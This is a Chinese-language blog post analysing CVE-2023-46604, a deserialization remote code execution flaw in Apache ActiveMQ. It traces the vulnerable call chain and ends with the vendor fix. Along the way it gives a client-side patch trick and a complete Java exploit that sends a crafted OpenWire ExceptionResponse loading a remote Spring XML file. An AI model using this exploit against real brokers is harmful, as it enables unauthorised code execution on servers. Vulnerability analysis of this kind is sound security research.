CVE-2023-46604分析

本文最后更新于:2024年8月14日 中午

CVE-2023-46604 Apache ActiveMQ RCE 漏洞分析

前置知识

消息队列——MessageQueue

参考JavaGuide

我们可以把消息队列看作是一个存放消息的容器,当我们需要使用消息的时候,直接从容器中取出消息供自己使用即可。由于队列 Queue 是一种先进先出的数据结构,所以消费消息时也是按照顺序来消费的。

参与消息传递的双方称为 生产者消费者 ,生产者负责发送消息,消费者负责处理消息。

操作系统中的进程通信的一种很重要的方式就是消息队列。我们这里提到的消息队列稍微有点区别,更多指的是各个服务以及系统内部各个组件/模块之前的通信,属于一种中间件 。

通常来说,使用消息队列主要能为我们的系统带来下面三点好处:

  1. 异步处理
  2. 削峰/限流
  3. 降低系统耦合性

除了这三点之外,消息队列还有其他的一些应用场景,例如实现分布式事务、顺序保证和数据流处理。

消息队列使用发布-订阅模式工作,消息发送者(生产者)发布消息,一个或多个消息接受者(消费者)订阅消息。 从上图可以看到消息发送者(生产者)和消息接受者(消费者)之间没有直接耦合,消息发送者将消息发送至分布式消息队列即结束对消息的处理,消息接受者从分布式消息队列获取该消息后进行后续处理,并不需要知道该消息从何而来。对新增业务,只要对该类消息感兴趣,即可订阅该消息,对原有系统和业务没有任何影响,从而实现网站业务的可扩展性设计

ActiveMQ

ActiveMQ是Apache软件基金下的一个开源软件,它遵循JMS1.1规范(Java Message Service),是消息队列服务,是面向消息中间件(MOM)的最终实现,它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。

在ActiveMQ中,生产者(Producer)发送消息到Queue或者Topic中,消费者(consumer)通过ActiveMQ支持的传输协议连接到ActiveMQ接受消息并做处理。

环境准备

影响版本

Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16

环境搭建

安装ActiveMQ存在漏洞的版本,我这里以5.17.3为例

下载解压后,在bin文件夹下,使用./activemq.bat start启动服务,注意需要Java>=11

创建Maven项目,配置依赖

1
2
3
4
5
6
7
8
9
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-client</artifactId>
<version>5.17.3</version>
</dependency>

在依赖里找到activemq-client里面的BaseDataStreamMarshaller,下载源码,此时这个包里的所有文件都是Java源码便于我们分析

调试分析

首先,我先给出漏洞存在的代码,在org/apache/activemq/openwire/v9/BaseDataStreamMarshaller.java中,它存在一个createThrowable的函数,如下:

可以看到,这里使用了反射,根据我们传入的类名生成了它的一个构造器对象,最后返回了这个类的一个实例。很显然,这里可以调用任意类造成RCE。

我们查看对createThrowable的调用,只有两处并且都在同一个类下,tightUnmarsalThrowablelooseUnmarsalThrowable,分别跳转过去看一眼。

我们可以看到,在looseUnmarsalThrowable中,调用了looseUnmarsalString对我们的传入进行处理,可以看到这里面只是把我们的输入转成Unicode字符集就直接返回了。而在另一个tightUnmarsalThrowable函数中,做了很多别的处理,可以自己去看看。

1
2
3
4
5
6
7
8
9
10
11
12
// looseUnmarsalThrowable部分代码
String clazz = looseUnmarshalString(dataIn);
String message = looseUnmarshalString(dataIn);
Throwable o = createThrowable(clazz, message);
// 调用looseUnmarshalString
protected String looseUnmarshalString(DataInput dataIn) throws IOException {
if (dataIn.readBoolean()) {
return dataIn.readUTF();
} else {
return null;
}
}

接着,查看对looseUnmarsalThrowable的调用,有好几个,那么我们重点关注了ExceptionResponseMarshaller这个类(当然其他的也可以),它是BaseDataStreamMarshaller的一个子类,按照名字来说就是对ExceptionResponse进行序列化处理的。

跳转到这个调用处,可以看到在这里面将o强转为ExceptionResponse类,然后进行反序列化

反向分析就到这里,因为对于looseUnmarshal的调用太多了,我们现在还不确定在ActiveMQ中反序列化的具体流程,但是没有太大关系,目前很清晰的知道,只需要构造一个ExceptionResponse类的序列化数据,传递给ActiveMQ中进行反序列化,最终可以触发到createThrowable函数导致RCE

到目前我们的链子为:

1
2
3
ExceptionResponseMarshaller#looseUnmarshal
BaseDataStreamMarshaller#looseUnmarsalThrowable
BaseDataStreamMarshaller#createThrowable

下面远程调试ActiveMQ,我们先编写一个测试类,用于发送OpenWire格式的数据。

这个相当于是生产者Client在向ActiveMQ服务端发送消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection();
connection.start();

Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("3xsh0re");

MessageProducer producer = session.createProducer(destination);
TextMessage message = session.createTextMessage("Hello, ActiveMQ!");
producer.send(message);

session.close();
connection.close();
}

注意接下来的调试是远程调试ActiveMQ,通过OpenWire通信的包会在org.apache.activemq.openwiredoUnmarshal函数中进行反序列化,这里需要DataType为31才会触发我们需要的反序列化函数

进一步处理,

下面的问题转移到了如何构造一个ExceptionResponse的数据,接下来回到客户端的调试

在数据进入到序列化函数之前,会进入到一个叫oneway的函数,这里学习到了一个patch手法,在当前源文件的目录下新建一个和依赖类相同路径的文件,根据classpath的默认调用顺序,会优先进入这个新的同名类中

怎么做?

在当前源码目录下新建一个 org.apache.activemq.transport.tcp.TcpTransport 类, 然后重写对应的逻辑, 这样在运行的时候, 因为 classpath 查找顺序的问题, 程序就会优先使用当前源码目录里的 TcpTransport 类。

1
2
3
4
5
6
7
8
//这里只写了重构的函数,需要将类中必要的其他内容copy
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}

然后是 createThrowable 方法的利用, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML实现 RCE

在 marshal 的时候会调用 o.getClass().getName() 获取类名, 而 getClass 方法无法重写 (final), 所以我在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext, 使其继承 Throwable 类

最后成功触发

编写Exp

上面的分析都是基于ActiveMQ提供的client来进行发送恶意数据进行RCE,但是其实可以直接构造OpenWire协议的流量发送给ActiveMQ进行解析,从而不用进行patch操作。

官方关于OpenWire协议的定义

也就是大概三部分:size、type、data,同时也可以在官方解释的下文发现,type=31正好就是我们需要的ExceptionResponse

然后数据部分也就是官方说的command-specific-fields部分的要求,对于string类型的数据采用UTF-8进行编码

通过wireshark抓包分析数据包具体格式,还需要一些其他字段

最后构造Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws IOException {
Socket socket = new Socket("127.0.0.1", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0); // size
dos.writeByte(31);// type
dos.writeInt(0); // CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0); // CorrelationId

// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dos.writeBoolean(true);
dos.writeUTF("http://127.0.0.1:8000/poc.xml");

dos.close();
os.close();
socket.close();
}

漏洞修复

BaseDataStreamMarshaller类加入了validateIsThrowable方法,判断我们传入的类是否合法

1
2
3
4
5
6
7
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " +
clazz +
" is not assignable to Throwable");
}
}

CVE-2023-46604分析
https://3xsh0re.github.io/2024/07/15/CVE-2023-46604分析/
作者
3xsh0re
发布于
2024年7月15日
许可协议